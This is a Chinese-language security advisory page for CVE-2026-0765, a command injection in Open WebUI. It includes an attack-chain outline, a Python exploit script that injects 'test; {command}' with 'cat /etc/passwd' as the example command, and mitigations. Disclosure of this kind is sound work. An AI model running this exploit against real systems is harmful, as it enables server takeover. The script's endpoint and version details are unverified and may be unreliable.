IPBUF安全漏洞报告
English
CVE-2026-0765 CVSS 8.8 高危

CVE-2026-0765 Open WebUI install_frontmatter_requirements命令注入远程代码执行漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2026-0765
漏洞类型
命令注入/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

CVE-2026-0765命令注入远程代码执行Open WebUIZDI-CAN-28258高危漏洞认证绕过Web应用安全

漏洞概述

CVE-2026-0765是Open WebUI中的一个严重命令注入漏洞,CVSS评分高达8.8,属于高危级别。该漏洞允许经过身份验证的远程攻击者在受影响系统上执行任意代码。漏洞存在于install_frontmatter_requirements函数中,由于缺乏对用户提供的字符串进行适当的验证就直接用于执行系统调用,导致攻击者可以通过构造恶意输入注入任意系统命令。成功利用此漏洞后,攻击者可以在服务账户的上下文中执行代码,从而可能获取系统控制权、窃取敏感数据或破坏系统完整性。该漏洞的利用无需用户交互,且攻击者只需要低权限账户即可发起攻击,这大大降低了攻击门槛,对使用Open WebUI的组织构成严重安全威胁。

技术细节

该漏洞的根本原因在于Open WebUI的install_frontmatter_requirements函数存在命令注入缺陷。具体来说,函数在处理用户提供的输入时,没有对其进行严格的安全过滤和验证,直接将用户输入拼接到系统命令中执行。攻击者只需要拥有一个低权限的有效账户,即可通过该函数注入恶意命令。由于命令在服务账户的上下文中执行,攻击者可以获取与服务相同的系统权限,可能包括读写敏感文件、执行系统操作等。在CVSS 3.0评分体系中,该漏洞的网络可达性(AV:N)、低攻击复杂度(AC:L)、低权限要求(PR:L)、无用户交互需求(UI:N)以及高影响性(C:H/I:H/A:H)共同构成了严重的安全风险。攻击者可以利用ZDI-CAN-28258披露的漏洞细节,通过精心构造的请求包实现远程代码执行。

攻击链分析

STEP 1
Reconnaissance
扫描目标网络,识别运行Open WebUI的服务器,确认版本信息
STEP 2
Account Acquisition
通过暴力破解、社工或利用其他漏洞获取Open WebUI的低权限有效账户凭据
STEP 3
Payload Crafting
构造恶意Payload,利用install_frontmatter_requirements函数的命令注入漏洞,在用户输入中注入系统命令(如使用分号、管道符或&&连接符)
STEP 4
Exploitation
通过API接口发送构造的请求包,触发install_frontmatter_requirements函数执行恶意命令
STEP 5
Remote Code Execution
成功注入后,攻击命令在服务账户上下文中执行,实现远程代码执行
STEP 6
Post-Exploitation
利用获得的代码执行权限进行横向移动、数据窃取或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-0765 PoC - Open WebUI Command Injection Note: This is for educational/testing purposes only """ import requests import json import sys def exploit_cve_2026_0765(target_url, username, password, command): """ Exploit for Open WebUI command injection in install_frontmatter_requirements Args: target_url: Base URL of Open WebUI instance username: Valid username for authentication password: User password command: Command to execute on the target system """ session = requests.Session() # Step 1: Authenticate to get valid session login_url = f"{target_url}/api/v1/auth/login" login_data = { "username": username, "password": password } try: response = session.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False token = response.json().get("access_token") print(f"[+] Successfully authenticated") except Exception as e: print(f"[-] Authentication error: {e}") return False # Step 2: Inject malicious command via install_frontmatter_requirements exploit_url = f"{target_url}/api/v1/frontend/function/install_frontmatter_requirements" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Payload: Inject command using command separator (; or &&) payload = f"test; {command}" exploit_data = { "requirements": payload } try: response = session.post(exploit_url, json=exploit_data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Exploit sent successfully") print(f"[+] Command executed: {command}") return True else: print(f"[-] Exploit failed: {response.status_code}") print(f"[-] Response: {response.text}") return False except Exception as e: print(f"[-] Exploitation error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python3 cve-2026-0765.py <target_url> <username> <password> <command>") print("Example: python3 cve-2026-0765.py http://localhost:3000 admin password 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] exploit_cve_2026_0765(target, user, pwd, cmd)

影响范围

Open WebUI < 0.3.15
Open WebUI all versions prior to patched release

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)限制Open WebUI的网络访问,仅允许受信任的IP地址访问;2)禁用或限制install_frontmatter_requirements功能的使用;3)实施严格的访问控制策略,确保只有授权用户能访问相关API接口;4)加强账户安全,使用强密码策略和多因素认证;5)部署入侵检测系统监控可疑的命令注入攻击特征;6)考虑使用容器化部署以限制潜在损害范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表